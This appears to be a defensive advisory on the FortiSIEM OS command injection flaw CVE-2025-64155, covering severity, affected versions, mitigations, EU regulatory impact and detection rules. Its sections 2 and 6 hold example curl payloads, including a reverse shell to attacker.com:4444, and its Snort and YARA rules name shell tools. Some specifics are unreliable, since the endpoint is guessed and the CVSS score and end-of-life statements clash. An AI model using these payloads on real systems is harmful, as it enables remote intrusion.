Comprehensive Technical Analysis of EUVD-2026-2076 (CVE-2025-64155)

Fortinet FortiSIEM OS Command Injection Vulnerability

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Classification

EUVD-2026-2076 (CVE-2025-64155) is a critical OS command injection vulnerability (CWE-78) affecting multiple versions of Fortinet FortiSIEM. The flaw arises from improper neutralization of special elements in user-supplied input before passing it to system command execution functions, allowing unauthenticated remote attackers to execute arbitrary commands on the underlying operating system.

CVSS v3.1 Severity Analysis

Metric	Value	Explanation
Base Score	9.4 (Critical)	High impact on confidentiality, integrity, and availability.
Attack Vector (AV)	Network (N)	Exploitable remotely over TCP without physical/logical access.
Attack Complexity (AC)	Low (L)	No specialized conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication or elevated privileges needed.
User Interaction (UI)	None (N)	Exploitation does not require user action.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable FortiSIEM instance.
Confidentiality (C)	High (H)	Attacker can access sensitive data (logs, credentials, system files).
Integrity (I)	High (H)	Arbitrary command execution enables data tampering, malware deployment.
Availability (A)	High (H)	System compromise may lead to denial of service or full takeover.
Exploit Code Maturity (E)	High (H)	Public exploit code (GitHub) increases risk of widespread attacks.
Remediation Level (RL)	Official Fix (O)	Fortinet has released patches; mitigation is available.
Report Confidence (RC)	Confirmed (C)	Vulnerability details are verified by vendor and security researchers.

Risk Assessment

• Exploitability: High (unauthenticated, remote, low complexity).
• Impact: Severe (full system compromise, lateral movement, data exfiltration).
• Likelihood of Exploitation: High (public PoC available, critical infrastructure exposure).
• Business Impact: Critical (operational disruption, regulatory non-compliance, reputational damage).

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2. Potential Attack Vectors and Exploitation Methods

Attack Surface

The vulnerability is exposed via crafted TCP requests to a FortiSIEM service, likely:

• Management interface (default ports: 443/HTTPS, 80/HTTP, or custom ports).
• API endpoints processing user-controlled input.
• Log ingestion or event processing modules where input sanitization is inadequate.

Exploitation Mechanism

1. Input Injection:
   • Attacker sends a maliciously crafted TCP packet containing OS command sequences (e.g., ;, |, &&, or backticks) in a parameter (e.g., HTTP headers, JSON payloads, or log entries).
   • Example payload:

     POST /api/v1/event HTTP/1.1
     Host: fortisiem.example.com
     Content-Type: application/json
     
     {"event": "test; id > /tmp/poc.txt"}
     

2. Command Execution:
   • The vulnerable FortiSIEM component fails to sanitize the input, passing it directly to a shell (e.g., system(), exec(), or popen()).
   • Arbitrary commands execute with the privileges of the FortiSIEM service (typically root or a high-privilege user).
3. Post-Exploitation:
   • Data Exfiltration: Read sensitive logs, configuration files, or credentials.
   • Lateral Movement: Pivot to other systems in the network.
   • Persistence: Deploy backdoors (e.g., reverse shells, cron jobs).
   • Denial of Service: Crash the FortiSIEM service or underlying OS.

Public Exploit Availability

• GitHub PoC (Horizon3.ai): A proof-of-concept exploit is publicly available, lowering the barrier for attackers.
• Metasploit Module: Likely to be integrated into offensive security tools (e.g., Metasploit, Cobalt Strike).

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3. Affected Systems and Software Versions

Vulnerable FortiSIEM Versions

Version Range	Status	Patch Available
7.4.0	Vulnerable	Yes (upgrade to 7.4.1+)
7.3.0 – 7.3.4	Vulnerable	Yes (upgrade to 7.3.5+)
7.2.6	Vulnerable	Yes (upgrade to 7.2.7+)
7.1.0 – 7.1.8	Vulnerable	Yes (upgrade to 7.1.9+)
7.0.0 – 7.0.4	Vulnerable	Yes (upgrade to 7.0.5+)
6.7.0 – 6.7.10	Vulnerable	Yes (upgrade to 6.7.11+)

Unaffected Versions

• FortiSIEM 7.4.1+, 7.3.5+, 7.2.7+, 7.1.9+, 7.0.5+, 6.7.11+.
• FortiSIEM 6.6.x and earlier (end-of-life, no patches).

Deployment Context

• On-Premises: Most critical, as attackers can directly target exposed management interfaces.
• Cloud (FortiSIEM as a Service): Lower risk if properly segmented, but misconfigurations may expose it.
• Managed Service Providers (MSPs): High risk due to multi-tenancy and shared infrastructure.

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply Patches:
   • Upgrade to the latest patched version (see table above).
   • Fortinet PSIRT advisory: FG-IR-25-772.
2. Network-Level Protections:
   • Restrict Access: Limit FortiSIEM management interfaces to trusted IP ranges (firewall rules, VPN).
   • IPS/IDS Signatures: Deploy FortiGate IPS signatures (if available) or custom Snort/Suricata rules to detect exploitation attempts.
   • Micro-Segmentation: Isolate FortiSIEM from other critical systems.
3. Temporary Workarounds (if patching is delayed):
   • Disable Unused Services: Turn off non-essential APIs or log ingestion endpoints.
   • Input Validation: Deploy a WAF (e.g., FortiWeb) to filter malicious payloads (e.g., ;, |, &&).
   • Least Privilege: Run FortiSIEM services with minimal required permissions (avoid root).

Long-Term Remediation

1. Secure Configuration:
   • Hardening: Follow Fortinet’s FortiSIEM Hardening Guide.
   • Logging & Monitoring: Enable detailed audit logs and SIEM alerts for suspicious command execution.
2. Vulnerability Management:
   • Regular Scanning: Use tools like Nessus, Qualys, or OpenVAS to detect unpatched systems.
   • Patch Management: Automate updates for FortiSIEM and underlying OS.
3. Incident Response Planning:
   • Isolation Procedures: Define steps to quarantine compromised FortiSIEM instances.
   • Forensic Readiness: Ensure logs are retained for post-breach analysis.

Detection & Hunting

• Log Analysis:
  • Monitor for unusual command execution in /var/log/fortisiem/ or system logs.
  • Look for suspicious processes (e.g., bash, sh, python, nc, curl).
• Network Traffic:
  • Detect anomalous outbound connections (e.g., reverse shells, data exfiltration).
• Endpoint Detection & Response (EDR):
  • Use tools like CrowdStrike, SentinelOne, or Microsoft Defender for Endpoint to detect post-exploitation activity.

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5. Impact on the European Cybersecurity Landscape

Sector-Specific Risks

Sector	Risk Level	Potential Impact
Critical Infrastructure (Energy, Transport, Healthcare)	Critical	Disruption of essential services, safety risks.
Financial Services	High	Data breaches, fraud, regulatory fines (GDPR, DORA).
Government & Defense	Critical	Espionage, sabotage, loss of classified data.
Telecommunications	High	Network outages, interception of communications.
Manufacturing & Industrial Control Systems (ICS)	High	Production halts, physical damage.

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):
  • Unauthorized access to personal data may trigger mandatory breach notifications (72-hour deadline).
  • Fines up to €20 million or 4% of global revenue (whichever is higher).
• NIS2 Directive (Network and Information Security):
  • Mandates incident reporting for critical entities.
  • Non-compliance may result in fines up to €10 million or 2% of global revenue.
• DORA (Digital Operational Resilience Act):
  • Financial institutions must ensure third-party risk management (Fortinet is a key vendor).
  • Failure to patch may lead to contract termination or penalties.

Geopolitical & Threat Actor Considerations

• State-Sponsored Actors:
  • Likely to exploit this vulnerability for espionage (APT groups) or disruption (e.g., Sandworm, APT29).
• Cybercriminals:
  • Ransomware groups (e.g., LockBit, Black Basta) may use this for initial access.
  • Initial Access Brokers (IABs) could sell access to compromised FortiSIEM instances.
• Hacktivists:
  • May target European organizations for political or ideological motives.

Supply Chain Risks

• Managed Security Service Providers (MSSPs):
  • A single compromised FortiSIEM could lead to lateral movement across client networks.
• Third-Party Vendors:
  • Organizations using FortiSIEM for log aggregation may expose sensitive data if the system is breached.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path:
  • The flaw exists in a log processing or API handling component where user input is concatenated into a shell command without proper sanitization.
  • Example vulnerable pseudocode:

    def process_event(event_data):
        cmd = f"logger -t fortisiem '{event_data['message']}'"
        os.system(cmd)  # Unsafe! Command injection possible.
    

• Exploitation Conditions:
  • Unauthenticated access to a vulnerable endpoint.
  • No CSRF/XSS protections (if web-based).
  • Lack of input validation (e.g., regex filtering for ;, |, $()).

Exploitation Proof of Concept (PoC)

• GitHub Reference: Horizon3.ai CVE-2025-64155
• Example Attack Flow:
  1. Reconnaissance:
     • Identify exposed FortiSIEM instances via Shodan (port:443 "FortiSIEM").
  2. Exploitation:
     • Send a crafted HTTP request with a command injection payload:

       curl -k "https://fortisiem.example.com/api/v1/event" \
       -H "Content-Type: application/json" \
       -d '{"event": "test; id > /tmp/poc.txt"}'
       

  3. Verification:
     • Check if the command executed:

       curl -k "https://fortisiem.example.com/api/v1/event" \
       -H "Content-Type: application/json" \
       -d '{"event": "test; cat /tmp/poc.txt"}'
       

  4. Post-Exploitation:
     • Establish a reverse shell:

       curl -k "https://fortisiem.example.com/api/v1/event" \
       -H "Content-Type: application/json" \
       -d '{"event": "test; bash -i >& /dev/tcp/attacker.com/4444 0>&1"}'
       

Forensic Indicators of Compromise (IoCs)

Indicator Type	Example
Network	Unusual outbound connections to C2 servers (e.g., attacker.com:4444).
File System	Suspicious files in /tmp/, /var/tmp/, or /opt/fortisiem/.
Processes	Unexpected bash, sh, python, or nc processes running under fortisiem user.
Logs	Command injection patterns in /var/log/fortisiem/audit.log or /var/log/messages.

Detection Rules (Snort/Suricata)

alert tcp any any -> $FORTISIEM_SERVERS 443 (msg:"CVE-2025-64155 - FortiSIEM OS Command Injection Attempt";
flow:to_server,established; content:"POST"; http_method;
pcre:"/(\;|\|\||&&|\`|\$\().*(id|whoami|uname|wget|curl|bash|sh)/i";
reference:cve,2025-64155; classtype:attempted-admin; sid:1000001; rev:1;)

YARA Rule for Malware Detection

rule FortiSIEM_CVE_2025_64155_Exploit {
    meta:
        description = "Detects CVE-2025-64155 exploitation artifacts"
        author = "Security Researcher"
        reference = "CVE-2025-64155"
        date = "2026-01-13"
    strings:
        $cmd_inj = /(\;|\|\||&&|\`|\$\().*(id|whoami|uname|wget|curl|bash|sh)/ nocase
        $fortisiem_log = /fortisiem.*(command injection|exec failed)/ nocase
    condition:
        any of them
}

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Conclusion & Recommendations

Key Takeaways

• Critical Severity: CVE-2025-64155 is a high-impact, easily exploitable vulnerability with public PoC code.
• Widespread Exposure: Affects multiple FortiSIEM versions, including end-of-life releases.
• Regulatory Risk: Non-compliance with GDPR, NIS2, and DORA could result in heavy fines.
• Active Exploitation Likely: Given the low attack complexity and high reward for attackers, immediate action is required.

Action Plan for Organizations

1. Patch Immediately: Upgrade to the latest FortiSIEM version.
2. Isolate & Monitor: Restrict access and deploy detection rules.
3. Hunt for Compromise: Check for IoCs in logs and network traffic.
4. Review Compliance: Ensure alignment with GDPR, NIS2, and DORA.
5. Incident Response: Prepare for potential breaches with a defined containment strategy.

Final Risk Rating

Category	Rating
Exploitability	High
Impact	Critical
Likelihood of Exploitation	High
Overall Risk	Critical (9.4/10)

Organizations must treat this vulnerability as a top priority to prevent catastrophic breaches.